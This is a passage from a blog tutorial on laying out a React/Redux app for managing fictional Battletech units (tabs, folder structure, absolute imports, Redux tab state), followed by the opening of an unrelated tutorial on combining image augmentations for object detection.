</ToggleDisplay> + ) + }); return ( <div> <Menu tabular attached="top" {...otherProps}> {tabItems} </Menu> + + {tabPanels} </div> ); } App.jsx +const UnitInfo = () => <div>Unit Info content</div>; +const Pilots = () => <div>Pilots content</div>; +const Mechs = () => <div>Mechs content</div>; +const UnitOrganization = () => <div>Unit Organization content</div>; class App extends Component { render() { const tabs = [ + {name : "unitInfo", label : "Unit Info", component : UnitInfo,}, + {name : "pilots", label : "Pilots", component : Pilots,}, + {name : "mechs", label : "Mechs", component : Mechs,}, + {name : "unitOrganization", label : "Unit Organization", component : UnitOrganization} ]; // .... } } Now, as we click between tabs, we can see the visible panel change: Now that we've got the tabs working, it's about time to start filling out the content for those tabs, and that means new components and new files. But, we're going to take a detour first. Creating new files means deciding where to put where to put them, and that's a topic in and of itself. Thoughts on Folder Structure There's been lots of discussion over what constitutes a good folder structure for a Redux application. The typical approaches generally fall into two categories: "file-type-first" (folders like /reducers, /components, etc), and "feature-first", also sometimes referred to as "pods" or "domain-based" (folders that each have all the file types for a given feature). The original Redux examples use a "file-type-first" approach, but a lot of the recent articles and discussion have shown some convergence on the "feature-first" approach. There's tradeoffs either way - "file-type-first" makes it really easy to do something like pulling together all the reducers, but the code for a given feature can be scattered around, and vice versa for "feature-first". My own current approach is mostly a "feature-first"-style approach. It's got some similarities to the approach described by Max Stoiber in his article How to Scale React Applications. The main differences are: - I prefer to give my files full unique names, rather than having files named "actions.js" and "reducer.js" in every folder. This is mostly for ease of finding files and reading file names in editor tabs. I also would rather give component files unique names, rather than naming them SomeComponent/index.js. - I've been using index.jsfiles to re-export functions and components upwards as a sort of "public API" for nested folders. - I put these folders grouped under a folder named features, rather than containers - I personally tend to use thunks pretty heavily, only using sagas for some specific chunks of async logic. - I also prefer to use "absolute imports", such as from "features/someFeature/SomeComponent", rather than multi-level relative imports. All that said, I'm honestly not 100% happy with my current approach. In particular, in a larger app I've noticed that the time needed to hot-reload changes has gone up considerably, and I'm not sure how much is due to just having more code, and how much is due to a more entangled dependency tree causing more files to be affected. The proliferation of index.js files and re-exports is also annoying. So, I'll freely admit that I'm still trying to figure things out myself. So, with those caveats, we're at a point where we should start extracting files to a more maintainable structure, but there's a couple tweaks we have to make first. Enabling Absolute Imports As I mentioned, I prefer to consistently use import paths that start from the src folder. Among other things, that makes it easier to move files around, as compared to relative import paths. Normally, I'd enable that by changing some path resolution options in my Webpack config, but since Create-React-App keeps all the configuration hidden, that's not an option unless we eject the project. I did some digging around, and it turns out that, at least for now, there's a semi-undocumented way to enable this in a CRA app without having to eject. If the NODE_PATH environment variable is set, CRA/Webpack will use that in the resolution process. Also, if a .env file exists in the project root, those environment variables will be loaded up. So, we can enable absolute imports by putting those two together. However, the default .gitignore file generated by CRA ignores .env, so we'll need to fix that: Commit 922292f: Enable absolute import paths (such as "features/a/SomeComponent") .env NODE_PATH=src .gitignore -.env With that, we can extract the dummy tab panel components into separate feature folders, and import them into App.js: Commit 07a9c68: Extract tab panels into separate feature folders App.js import TabBarContainer from "./components/TabBar"; +import UnitInfo from "features/unitInfo/UnitInfo"; +import Pilots from "features/pilots/Pilots"; +import Mechs from "features/mechs/Mechs"; +import UnitOrganization from "features/unitOrganization/UnitOrganization"; import './App.css'; -const UnitInfo = () => <div>Unit Info content</div>; -const Pilots = () => <div>Pilots content</div>; -const Mechs = () => <div>Mechs content</div>; -const UnitOrganization = () => <div>Unit Organization content</div>; Building The First Content Components Unit Info Tab The first major piece of our UI will allow displaying and editing the details for whatever fictional Battletech combat group we've created. That includes things like what the name of the group is, what faction they work for, and so on. Per the mockup shown earlier, the Unit Info tab is just a basic form with a few fields. We'll just add the "Name" and "Affiliation" fields for now, and deal with the other fields another time. Filling out the <UnitInfo> component is pretty straightforward: Commit 7bcde03: Add initial form layout for UnitInfo features/unitInfo/UnitInfo/UnitInfo.jsx import React from "react"; import { Form, Dropdown, Segment } from "semantic-ui-react"; const FACTIONS = [ // skip other entries {value : "lc", text : "Lyran Commonwealth"}, {value : "wd", text : "Wolf's Dragoons"}, ]; const UnitInfo = () => { return ( <Segment attached="bottom"> <Form size="large"> <Form.Field </Form.Field> <Form.Field </Form.Field> </Form> </Segment> ); } export default UnitInfo; And now we finally have something slightly more visible to show off: Pilots Tab The second major part of the UI is a list of all the pilots that are part of our unit, and a section that will let us view and edit the details of the currently selected pilot. I'll skip pasting in the entire Pilots tab component to save space, but here's the commit and the resulting UI: Commit 4f871f1: Add initial Pilots tab layout with hardcoded content Handling Tab State with Redux While working on the Pilots tab, a problem becomes noticeable: because the "current tab" value is stored as state in the <TabBarContainer> component, reloading the component tree resets the selected tab when the component instance gets wiped out. This is where Redux can help us, by moving our state outside the component tree. Fortunately, because we kept the tab state in the <TabBarContainer> component, we can replace the local component state version with one that pulls the value from Redux instead. The feature folder will contain the standard action constants, action creators, and reducers, as well as the selector functions to encapsulate looking up this piece of state. For simplicity, we'll just look at the reducer and the new version of <TabBarContainer>: Commit e2312e2: Rewrite tabs handling to be driven by Redux features/tabs/tabReducer.js import {createReducer} from "common/utils/reducerUtils"; import {TAB_SELECTED} from "./tabConstants"; const initialState = { currentTab : "unitInfo", }; export function selectTab(state, payload) { return { currentTab : payload.tabName, }; } export default createReducer(initialState, { [TAB_SELECTED] : selectTab, }); features/tabs/TabBarContainer.jsx import React, {Component} from "react"; import {connect} from "react-redux"; import TabBar from "common/components/TabBar"; import {selectCurrentTab} from "./tabSelectors"; import {selectTab} from "./tabActions"; const mapState = (state) => { const currentTab = selectCurrentTab(state); return {currentTab}; } const actions = {onTabClick : selectTab}; export default connect(mapState, actions)(TabBar); A couple things to note here. We're using one of the umpteen million createReducer utility functions out there, which lets you define separate reducer functions and a a lookup table instead of switch statements. We're also using the object shorthand syntax that connect supports for the mapDispatch argument, allowing you to pass in an object full of action creator functions to be bound up, instead of writing an actual mapDispatch function yourself. Filling Out the Other Tabs Mechs Tab With the tab state persisted, we can turn our attention back to laying out the other tabs. The third major part of the UI is the Mechs tab. This will basically be identical to the Pilots tab, in that it's a list of what Battlemechs our force owns, and some form of ability to view and edit details for a selected Battlemech. Again, the layout code is long enough that it's not worth pasting here in full, but here's what the resulting UI looks like: Commit f8f6fc4: Add initial Mechs tab layout with hardcoded content Unit Organization Tab The last major part of the UI is the Unit Table of Organization tab. In Battletech fiction, Pilots and Mechs are grouped together into Lances of four Mechs apiece. Three Lances are then grouped together to form a Company. We're going to need some kind of treeview that will show the hierarchy of Company > Lance > Pilot+Mech, and eventually will need to be able to rearrange which Pilots are in which Lances. For now, we'll just hardcode a tree-like display into the UI, and leave things alone until it's time to build the real thing: Commit e5f5258: Add initial Unit Organization tab layout with hardcoded content Final Thoughts That was a pretty good chunk of work. We've got all of our main UI laid out to match the mockups, started using a folder structure that should help the code stay maintainable as we move forward, and added some initial UI logic using Redux. From here, we can start implementing some actual functionality, and that will give us a chance to look at some specific useful Redux techniques in the process. Next time, we'll look at some approaches for working with forms in Redux, and maybe actually get around to doing some data modeling as well. Further Information - Project Mini-Mek repo - Semantic-UI - React-Toggle-Display - Container/Presentational Components - Folder Structures - Absolute imports in Create-React-App - Selector Functions
http://blog.isquaredsoftware.com/2016/11/practical-redux-part-4-ui-layout-and-project-structure/
CC-MAIN-2018-17
refinedweb
3,405
51.28
Expose HTML5 video and audio elements' embedded controls through accessibility APIs . VERIFIED FIXED Status () People (Reporter: MarcoZ, Assigned: surkov) Tracking (Blocks: 1 bug, {access, verified1.9.1}) Firefox Tracking Flags (Not tracked) Details Attachments (2 attachments, 1 obsolete attachment) Currently, if an HTML5 audio or video element is used and the @controls attribute is specified, the controls are not exposed to accessibility APIs. They are tabbable, if a screen reader's virtual buffer mode is turned off, and the buttons are announced as buttons without labels, so something is already there, it just needs to be hooked up properly so that a) the buttons have labels and b) the virtual buffers of screen readers are able to pick them up. One possible idea is to expose the video element itself as an nsIAccessibleRole::SCROLL_PANE or something similarly container-ish that groups these controls together, and also will provide space for later inclusion of text captions etc. However, we might also want to invent a whole new role for this to be included in future IAccessible2 and ATK/AT-SPI specifications for better flexibility. Flags: wanted1.9.2? Just one item on the design. You should probably make sure that whatever you build in doesn't depend on the specific controls implementation. For example: Shows that it's pretty easy to replace the controls. What you're talking about above might actually include that, I can't be sure. But I thought I would bring it up just in case. Assignee: nobody → surkov.alexander Status: NEW → ASSIGNED Attachment #371788 - Flags: review?(marco.zehe) Comment on attachment 371788 [details] [diff] [review] patch Nit: I believe we can remove the test for input @type="file" from test_role_nsHyperTextAcc.html, since you're now testing its tree in the new file. To avoid redundancy. Comment on attachment 371788 [details] [diff] [review] patch With NVDA, I now see the buttons. They don't have proper labels yet, but I'm sure that can be rectified in a follow-up bug. Also, the progress bars show way over the top percentage values such as 1437536%, and these numbers increase the more the video progresses. I could even interact with the slider! Very cool! Note that JAWS, due to its different way of parsing our trees, doesn't see the contents of the video element yet, so testing with NVDA on Windows or Orca on Linux is our best bet right now. r=me for the tests and the general functionality part. (In reply to comment #3) > (From update of attachment 371788 [details] [diff] [review]) > Nit: I believe we can remove the test for input @type="file" from > test_role_nsHyperTextAcc.html, since you're now testing its tree in the new > file. To avoid redundancy. That's fine I think. We test the same but we start from different points. The test we have is about nsHyperTextAccessible roles, the new test is about file input control. I would prefer to save them both. Any way it won't hit us. (In reply to comment #4) > (From update of attachment 371788 [details] [diff] [review]) > With NVDA, I now see the buttons. They don't have proper labels yet, but I'm > sure that can be rectified in a follow-up bug. Yes, we could put aria-label but I think it's worth to request to put tooltips on them. It will be good for sighted users and for screen readers users. > Also, the progress bars show way > over the top percentage values such as 1437536%, and these numbers increase the > more the video progresses. I could even interact with the slider! Very cool! That's really cool. Though percentages are strange. I guess we need to fix it. > Note that JAWS, due to its different way of parsing our trees, doesn't see the > contents of the video element yet, so testing with NVDA on Windows or Orca on > Linux is our best bet right now. That's very interesting. Video control is much similar with file control element. Their content is not available from ISimpleDOMNode. But I guess JAWS works successfully with file control element and therefore it sounds strange it doesn't for video control. We have two choices I think 1) extend ISimpleDOMNode to allow to go into native anonymous content 2) contact with JAWS team to figure out what's wrong. Marco, could you file following up bugs, please, for all stuffs you found? Instead of adding a new test video to the tree, it would be better to add a rule to content/media/video/test/Makefile.in to copy one of the videos there to the test directory you? (In reply to comment #7) > Instead of adding a new test video to the tree, it would be better to add a > rule to content/media/video/test/Makefile.in to copy one of the videos there to > the test directory you want. Great. I'll? Yes. See bug 285167. I didn't start to put mochitests for scrollbar because I wanted to reflect this in following up bug where I'll ensure we expose scrollbars correctly. (In reply to comment #4) > Also, the progress bars show way > over the top percentage values such as 1437536%, and these numbers increase the > more the video progresses.. Comment on attachment 371788 [details] [diff] [review] patch >--- a/accessible/src/base/nsAccessibleTreeWalker.cpp >+++ b/accessible/src/base/nsAccessibleTreeWalker.cpp >@@ -32,18 +32,21 @@ > *TreeWalker.h" >+ > #include "nsAccessibilityAtoms.h" > #include "nsAccessNode.h" >+ Why the line spacing? :) > if (aTryFirstChild) { >- nsIContent *containerContent = mState.frame->GetContent(); >+ // If the frame implements nsIAnonymousContentCreator interface then go down >+ // through the frames and obtain anonymous nodes for them. >+ nsIAnonymousContentCreator* creator = do_QueryFrame(mState.frame); > mState.frame = mState.frame->GetFirstChild(nsnull); >+ >+ if (creator && mState.frame && mState.siblingIndex < 0) { >+ mState.domNode = do_QueryInterface(mState.frame->GetContent()); >+ mState.siblingIndex = eSiblingsWalkFrames; >+ } > // temporary workaround for Bug 359210. We never want to walk frames. > // Aaron Leventhal will refix :before and :after content later without walking frames. > #if 0 > if (mState.frame && mState.siblingIndex < 0) { > // Container frames can contain generated content frames from > // :before and :after style rules, so we walk their frame trees > // instead of content trees > // XXX Walking the frame tree doesn't get us Aural CSS nodes, e.g. >@@ -249,27 +260,16 @@ void nsAccessibleTreeWalker::UpdateFrame > // nsStyleContext *styleContext = primaryFrame->GetStyleContext(); > // if (aContent) { > // pseudoContext = presContext->StyleSet()-> > // ProbePseudoStyleFor(content, nsAccessibilityAtoms::after, aStyleContext); > mState.domNode = do_QueryInterface(mState.frame->GetContent()); > mState.siblingIndex = eSiblingsWalkFrames; > } > #endif Offtopic: do we have a bug filed for the Aaron Leventhal "refix" mentioned here? > /** >+ * Compare expected and actual accessibles trees. >+ */ >+function testAccessibleTree(aAccOrElmOrID, aAccTree) >+{ >+ var acc = getAccessible(aAccOrElmOrID); >+ if (!acc) >+ return; >+ >+ for (var prop in aAccTree) { >+ var msg = "Wrong value of property '" + prop + "'."; >+ if (prop == "role") >+ is(roleToString(acc[prop]), roleToString(aAccTree[prop]), msg); >+ else if (prop != "children") >+ is(acc[prop], aAccTree[prop], msg); >+ } >+ >+ if ("children" in aAccTree) { >+ var children = acc.children; >+ is(aAccTree.children.length, children.length, >+ "Different amount of expected children."); >+ I wonder... maybe we should bail here if the aAccTree.children.length != children.length ? (Nice work) (In reply to comment #10) > > #include "nsAccessibleTreeWalker.h" > >+ > > #include "nsAccessibilityAtoms.h" > > #include "nsAccessNode.h" > >+ > > Why the line spacing? :) to improve readability, grouping headers logically > Offtopic: do we have a bug filed for the Aaron Leventhal "refix" mentioned > here? > yes, bug 346833 > > I wonder... maybe we should bail here if the aAccTree.children.length != > children.length ? > Ok. Attachment #371788 - Attachment is obsolete: true Attachment #373248 - Flags: superreview?(roc) Attachment #373248 - Flags: review?(david.bolter) Comment on attachment 373248 [details] [diff] [review] patch2 Woot! Let's get this baking on the tree. Pushed upon Alexander's request in changeset: Status: ASSIGNED → RESOLVED Last Resolved: 10 years ago Resolution: --- → FIXED Flags: in-testsuite+ Marco, please file following up bugs. Comment on attachment 373248 [details] [diff] [review] patch2 What's the impact of changing this API on screen readers? Is the new method being added at the bottom to not affect the vtable? (In reply to comment #16) > (From update of attachment 373248 [details] [diff] [review]) > What's the impact of changing this API on screen readers? This patch makes accessible video/audio control elements (like play button, progress meters) accessible to screen readers. Otherwise screen readers users might be not able to control video/audio element. > Is the new method > being added at the bottom to not affect the vtable? I didn't think about vtable and it sounds I didn't add new method at the bottom. Could you give me please additional details what I need to keep in mind when I write patches backported to mozilla branches? cc'ing Mike Well, you're sort of hosed either way. Changing the IID will break anyone properly acquiring pointers to objects implementing the interface (because their QueryInterface calls will use the old IID, and you won't respond to it, so they'll get nulls or throws when they try), but not changing it will break anyone who uses an interface which inherits from that interface. I doubt that's a concern for a11y, and I doubt it's a concern most of the time (only for interfaces which are designed to be implemented by multiple classes, and by classes outside Gecko), but it theoretically does matter for exact binary compatibility. If you don't change the IID, which would only break those specific cases but not existing users, tho, you should add the method to the end of the interface so that the virtual table (containing all the function pointers for the interface in an object implementing it) isn't reordered, which would result in calling the wrong function with the wrong arguments. Even if you do change the IID it may be worthwhile to do this, just to keep the number of changes made here smaller. That's probably not quite clear, so if you don't understand it please ask for any clarifications necessary. So, on one hand we must make video controls accessible, on another hand we should broke anyone. Though nsIAccessibleService is designed for internal usage only (to be called from layout to create accessible and invalidate a11y tree). So it shouldn't be used outside of mozilla. But we can't be sure it's not used. Jeff suggested to get rid nsIAccessibleService interface at all and use C++ calls inside of mozilla. But it's long term. So what will we decide? So, talked to Jeff and David Baron on irc, David suggested to change IID (different than trunk's one) and put method to the bottom. Is this really relevant still, since we're talking about backporting this to 1.9.1 only, which isn't in a released state yet. It's not like we're asking to backport it to 1.9.0, which has been in a released state for almost a year. test_elm_media.html fails for me on OS X: Passed: 1 Failed: 1 Todo: 0 ok - Wrong value of property 'role'. not ok - Different amount of expected children. got 5, expected 6 Status: RESOLVED → REOPENED Resolution: FIXED → --- Update your tree and retest? bz landed a fix for the test as a result of bug 475318 breaking it, should be working now. See no failures for me, marking as fixed again. Status: REOPENED → RESOLVED Last Resolved: 10 years ago → 10 years ago Resolution: --- → FIXED marco, can you verify this fix on trunk? Thanks. Just to follow up on Justin's comment #25, yeah tests pass for me now thanks. (In reply to comment #27) > marco, can you verify this fix on trunk? Thanks. This is verified in Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090503 Minefield/3.6a1pre (.NET CLR 3.5.30729) Status: RESOLVED → VERIFIED Comment on attachment 374236 [details] [diff] [review] patch 1.9.1 a191=beltzner Attachment #374236 - Flags: approval1.9.1? → approval1.9.1+ checked in on 1.9.1 () Keywords: fixed1.9.1 a11y failure fix Flags: wanted1.9.2?
https://bugzilla.mozilla.org/show_bug.cgi?id=483573
CC-MAIN-2019-13
refinedweb
1,991
66.13
dbm(that. GNU dbm ( gdbm)is a library of database functions that use extendible hashing and works similar to the standard UNIX dbm functions. These routines are provided to a programmer needing to create and manipulate a hashed database. ( gdbm is NOT a complete database package for an end user.) The basic use of gdbm is to store key/data pairs in a data file. Each key must be unique and each key is paired with only one data item. The keys can not be directly accessed in sorted order. The basic unit of data in gdbm is the structure: typedef struct { char *dptr; int dsize; } datum; This structure allows for arbitrary sized keys and data items. The key/data pairs are stored in a gdbm disk file, called a gdbm database. An application must open a gdbm database to be able manipulate the keys and data contained in the database. gdbm allows an application to have multiple databases open at the same time. When an application opens a gdbm database, it is designated as a reader or a writer. A gdbm database opened by at most one writer at a time. However, many readers may open the database open simultaneously. Readers and writers can not open the gdbm database at the same time. The following is a quick list of the functions contained in the gdbm library. The include file gdbm.h, that can be included by the user, contains a definition of these functions. #include <gdbm.h> GDBM_FILE gdbm_open(name, block_size, flags, mode, fatal_func); void gdbm_close(dbf); int gdbm_store(dbf, key, content, flag); datum gdbm_fetch(dbf, key); int gdbm_delete(dbf, key); datum gdbm_firstkey(dbf); datum gdbm_nextkey(dbf, key); int gdbm_reorganize(dbf); void gdbm_sync(dbf); The gdbm.h include file is often in the `/usr/local/gnu/include' directory. (The actual location of gdbm.h depends on your local installation of gdbm.) Initialize. Looks up a given key and returns the information associated with that key. The pointer in the structure that is returned is a pointer to dynamically allocated memory block. To search for some data: content = gdbm_fetch(dbf, key); The parameters are: gdbm_open. keydata. The datum returned in content is a pointer to the data found. If the dptr is NULL, no data was found. If dptr is not NULL, then it points to data allocated by malloc. gdbm does not automatically free this data. The user must free this storage when done using it. This eliminates the need to copy the result to save it for later use (you just save the pointer).. The. gdbmdoes not wait for writes to the disk to complete before continuing. This allows. If you have problems with GNU dbm gdbm gave you. Also say what you expected to occur; this will help us decide whether the problem was really in the documentation. Once you've got a precise problem, send e-mail to: Internet: `[email protected]'. UUCP: `mit-eddie!prep.ai.mit.edu!bug-gnu-utils'. Please include the version number of GNU dbm you are using. You can get this information by printing the variable gdbm_version (see Variables). Non-bug suggestions are always welcome as well. If you have questions about things that are unclear in the documentation or are just obscure features, please report them too. You may contact the author by: e-mail: [email protected] us-mail: Philip A. Nelson Computer Science Department Western Washington University Bellingham, WA 98226
https://docs.huihoo.com/gdbm/
CC-MAIN-2019-04
refinedweb
572
66.23
The Kubernetes API is structured around resources. Typical resources that we have seen so far are pods, nodes, containers, ingress rules and so forth. These resources are built into Kubernetes and can be addresses using the kubectl command line tool, the API or the Go client. However, Kubernetes is designed to be extendable – and in fact, you can add your own resources. These resources are defined by objects called custom resource definitions (CRD). Setting up custom resource definitions Confusingly enough, the definition of a custom resource – i.e. the CRD – itself is nothing but a resource, and as such, can be created using either the Kubernetes API directly or any client you like, for instance kubectl. Suppose we wanted to create a new resource type called book that has two attributes – an author and a title. To distinguish this custom resource from other resources that Kubernetes already knows, we have to put our custom resource definition into a separate API group. This can be any string, but to guarantee uniqueness, it is good practice to use some sort of domain, for instance a GitHub repository name. As my GitHub user name is christianb93, I will use the API group christianb93.github.com for this example. To understand how we can define that custom resource type using the API, we can take a look at its specification or the corresponding Go structures. We see that - The CRD resource is part of the API group apiextensions.k8s.io and has version v1beta1, so the value of the apiVersion fields needs to be apiextensions.k8s.io/v1beta1 - The kind is, of course, CustomResourceDefinition - There is again a metadata field, which is built up as usual. In particular, there is a name field - A custom resource definition spec consists of a version, the API group, a field scope that determines whether our CRD instances will live in a cluster scope or in a namespace and a list of names This translates into the following manifest file to create our CRD. $ names: plural: books singular: book kind: Book EOF customresourcedefinition.apiextensions.k8s.io/books.christianb93.github.com created This will create a new type of resources, our books. We can access books similar to all other resources Kubernetes is aware of. We can, for instance, get a list of existing books using the API. To do this, open a separate terminal and run kubectl proxy to get access to the API endpoints. Then use curl to get a list of all books. $ curl -s -X GET "localhost:8001/apis/christianb93.github.com/v1/books" | jq { "apiVersion": "christianb93.github.com/v1", "items": [], "kind": "BookList", "metadata": { "continue": "", "resourceVersion": "7281", "selfLink": "/apis/christianb93.github.com/v1/books" } } So in fact, Kubernetes knows about books and has established an API endpoint for us. Note that the path contains “apis” and not “api” to indicate that this is an extension of the original Kubernetes API. Also note that the path contains our dedicated API group name and the version that we have specified. At this point we have completed the definition of our custom resource “book”. Now let us try to actually create some books. $ kubectl apply -f - << EOF apiVersion: christianb93.github.com/v1 kind: Book metadata: name: david-copperfield spec: title: David Copperfield author: Dickens EOF book.christianb93.github.com/my-book created Nice – we have created our first book as an instance of our new CRD. We can now work with this book similar to a pod, a deployment and so forth. We can for instance display it using kubectl $ kubectl get book david-copperfield NAME AGE david-copperfield 3m38s or access it using curl and the API. $ curl -s -X GET "localhost:8001/apis/christianb93.github.com/v1/namespaces/default/books/david-copperfield" | jq { "apiVersion": "christianb93.github.com/v1", "kind": "Book", "metadata": { "annotations": { "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"christianb93.github.com/v1\",\"kind\":\"Book\",\"metadata\":{\"annotations\":{},\"name\":\"david-copperfield\",\"namespace\":\"default\"},\"spec\":{\"author\":\"Dickens\",\"title\":\"David Copperfield\"}}\n" }, "creationTimestamp": "2019-04-21T09:32:54Z", "generation": 1, "name": "david-copperfield", "namespace": "default", "resourceVersion": "7929", "selfLink": "/apis/christianb93.github.com/v1/namespaces/default/books/david-copperfield", "uid": "70fbc120-6418-11e9-9fbf-080027a84e1a" }, "spec": { "author": "Dickens", "title": "David Copperfield" } } Validations If we look again at what we have done and where we have started, somethings still feels a bit wrong. Remember that we wanted to define a resource called a “book” that has a title and an author. We have used those fields when actually creating a book, but we have not referred to it at all in the CRD. How does the Kubernetes API know which fields a book actually has? The answer is simple – it does not know this at all. In fact, we can create a book with any collection of fields we want. For instance, the following will work just fine. $ kubectl apply -f - << EOF apiVersion: christianb93.github.com/v1 kind: Book metadata: name: moby-dick spec: foo: bar EOF book.christianb93.github.com/moby-dick created In fact, when you run this, the Kubernetes API server will happily take your JSON input and store it in the etcd that keeps the cluster state – and it will store there whatever you provide. To avoid this, let us add a validation rule to our resource definition. This allows you to attach an OpenAPI schema to your CRD against which the books will be validated. Here is our updated CRD manifest file to make this work. $ kubectl delete crd books.christianb93.github.com customresourcedefinition.apiextensions.k8s.io "books.christianb93.github.com" deleted $ subresources: status: {} names: plural: books singular: book kind: Book validation: openAPIV3Schema: properties: spec: required: - author - title properties: author: type: string title: type: string EOF customresourcedefinition.apiextensions.k8s.io/books.christianb93.github.com created If you know repeat the command above, you will find that "David Copperfield" can be created, but "Moby Dick" is rejected, as it does not match the validation rules (the required fields author and title are missing). There is another change that we have made in this version of our CRD – we have added a subresource called status to our CRD. This subresource allows a controller to update the status of the resource indepently of the specification – see the corresponding API convention for more details on this. The controller pattern As we have seen above, a CRD is essentially allowing you to store data as part of the cluster state kept in the etcd key-value store using a Kubernetes API endpoint. However, CRDs do not actually trigger any change in the cluster. If you POST a custom resource like a book to the Kubernetes API server, all it will do is to store that object in the etcd store. It might come as a bit of a surprise, but strictly speaking, this is true for built-in resources as well. Suppose, for instance, that you use kubectl to create a deployment. Then, kubectl will create a PUT request for a deployment and send it to the API server. The API server will process the request and store the new deployment in the etcd. It will, however, not actually create pods, spin up containers and so forth. This is the job of another component of the Kubernetes architecture – the controllers. Essentially, a controller is monitoring the etcd store to keep track of its contents. Whenever a new resource, for example a deployment, is created, the controller will trigger the associated actions. Kubernetes comes with a set of built-in controllers in the controller package. Essentially, there is one controller for each type of resource. The deployment controller, for instance, monitors deployment objects. When a new deployment is created in the etcd store, it will make sure that there is a matching replica set. These sets are again managed by another controller, the replica set controller, which will in turn create matching pods. The pods are again monitored by the scheduler that determines the node on which the pods should run and writes the bindings back to the API server. The updated bindings are then picked up by the kubelet and the actual containers are started. So essentially, all involved components of the Kubernetes architecture talk to the etcd via the API server, without any direct dependencies. Of course, the Kubernetes built-in controllers will only monitor and manage objects that come with Kubernetes. If we create custom resources and want to trigger any actual action, we need to implement our own controllers. Suppose, for instance, we wanted to run a small network of bitcoin daemons on a Kubernetes cluster for testing purposes. Bitcoin daemons need to know each other and register themselves with other daemons in the network to be able to exchange messages. To manage that, we could define a custom resource BitcoinNetwork which contains the specification of such a network, for instance the number of nodes. We could then write a controller which - Detects new instances of our custom resource - Creates a corresponding deployment set to spin up the nodes - Monitors the resulting pods and whenever a pod comes up, adds this pod to the network - Keeps track of the status of the nodes in the status of the resource - Makes sure that when we delete or update the network, the corresponding deployments are deleted or updated as well Such a controller would operate by detecting newly created or changed BitcoinNetwork resources, compare their definition to the actual state, i.e. existing deployments and pods, and update their state accordingly. This pattern is known as the controller pattern or operator pattern. Operators exists for many applications, like Postgres, MySQL, Prometheus and many others. I did actually pick this example for a reason – in an earlier post, I showed you how to set up and operate a small bitcoin test network based on Docker and Python. In the next few posts, we will learn how to write a custom controller in Go that automates all this on top of Kubernetes! To achieve this, we will first analyze the components of a typical controller – informes, queues, caches and all that – using the Kubernetes sample controller and then dig into building a custom bitcoin controller armed with this understanding.
https://leftasexercise.com/2019/07/04/extending-kubernetes-with-custom-resources-and-custom-controllers/
CC-MAIN-2021-31
refinedweb
1,697
53.61
Hello, sorry if this is in the wrong Forum Section but this seemed like the best place! My problem is that I am currently designing a GUI that can display a Binary Search Tree (BST) from user entered data, I have the code nearly all working apart from the painting aspect of it. So I can enter all the data and everything into the BST fine but when it comes to painting there is problems for example when I first run the program and enter a value I want to displayed when I hit the add button which is suppose to draw a circle with the entered value inside it the circle and number will flash up and then disappear, I don't understand this as when I print out the BST using methods the value is definitely there etc. And if I add it again it will stay up and not flash away, it only seems to happen on the first circle so any others I add after that stay first time. Another problem is that if I either resize or navigate away from the GUI the BST that is displayed will vanish, again it's still stored but the painted BST will disappear. I think it may be because I haven't implemented the paintComponent method right or some problem with the area I paint on. Below is some of the code that is relevant, if any more code or information is needed on this project to give a fuller picture I can put more up. Any help or advice or links on this matter would be so much help and I'd be very grateful! Thanks so much in advance! :) Code : import java.awt.*; import javax.swing.*; import java.awt.event.*; import java.io.*; import java.util.*; public class PaintArea extends JPanel { public static void main(String args[]) { Runnable r; r = new Runnable() { public void run() { new PaintArea().startGUI(); } }; SwingUtilities.invokeLater(r); } public static void startGUI() { ... //Create the painting area paintarea = new PaintArea(); paintarea.setPreferredSize(new Dimension(480, 400)); scrollpane = new JScrollPane(paintarea, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_ALWAYS); frame.add(scrollpane, BorderLayout.CENTER); ... // create the add button add = new JButton(); add.setText("Add..."); // add actionListener to the add button add.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { try { int i = Integer.parseInt(textField.getText()); binarySearchTree.insert(i); double x = binarySearchTree.getX(binarySearchTree.getNode(i)); \\ Location in double y = binarySearchTree.getY(binarySearchTree.getNode(i)); \\ BST String LorR = binarySearchTree.getLorR(binarySearchTree.getNode(i)); \\ Determine if it's a right or left node addcircle(paintarea, textField.getText(), x, y, LorR); statusField.setText(textField.getText() + " : Added to Binary Search Tree" + "\t" + "Items in search tree : " + binarySearchTree.count()); textField.setText(""); textField.requestFocusInWindow(); } catch(NumberFormatException er) { statusField.setText("No valid number to add" + "\t\t" + "Items in search tree : " + binarySearchTree.count()); textField.setText(""); textField.requestFocusInWindow(); } } }); // add the button to the bottom bar buttonbar.add(add); ... } // end startGUI public static void addcircle(PaintArea p, String i, double x, double y, String LorR) { Graphics g = p.getGraphics(); int offsetx = p.getWidth()/2; int valuex = (int) (p.getWidth()/4.5); int offsety = 20; int valuey = p.getHeight()/8; int circle = 20; double nodex = x; double nodey = y; int postionx = offsetx + (int) (nodex * valuex); \\ Used to declare X location of node int postiony = (int) (nodey * valuey) + offsety; \\ Used to declare Y location of node g.setColor(new Color(127, 255, 0)); g.fillOval(postionx, postiony, circle, circle); g.setColor(Color.black); g.drawOval(postionx, postiony, circle, circle); if(LorR == "Left") \\ Used to draw a line to the node {); } else if (LorR == "Right") {); } // put in numbers g.drawString(i, postionx + 3, postiony + 15); } public void paintComponent(Graphics g) { super.paintComponent(g); } } // end class
http://www.javaprogrammingforums.com/%20whats-wrong-my-code/4881-extends-jpanel-painting-problem-printingthethread.html
CC-MAIN-2016-26
refinedweb
615
56.66
Hello there! This is the fourth and the final part in our series on adapting image augmentation methods for object detection tasks. In the last three posts we have covered a variety of image augmentation techniques such as Flipping, rotation, shearing, scaling and translating. This part is about how to bring it all together and bake it into the input pipeline for your deep network. So, let's get started. Before you begin, you should be already through the previous articles in the series. This series has 4 parts. 1. Part 1: Basic Design and Horizontal Flipping 2. Part 2: Scaling and Translation 3. Part 3: Rotation and Shearing 4. Part 4: Baking augmentation into input pipelines GitHub Repo Everything from this article and the entire augmentation library can be found in the following Github Repo. Documentation The documentation for this project can be found by opening the docs/build/html/index.html in your browser or at this link. Combing multiple transformations Now, if you want to apply multiple transformations, you can probably do them by applying them Sequentially, one by one. For example, if I were to apply flipping, followed by scaling and rotating here is how I would accomplish it. img, bboxes = RandomHorizontalFlip(1)(img, bboxes) img, bboxes = RandomScale(0.2, diff = True)(img, bboxes) img, bboxes = RandomRotate(10)(img, bboxes) The more the transformations I need to apply, the more longer my code gets. At this point, We will implement a function that solely combines multiple data augmentations. We will implement it in the same manner as other data augmentations, only that it takes a list of the class instances of other data augmentations as arguments. 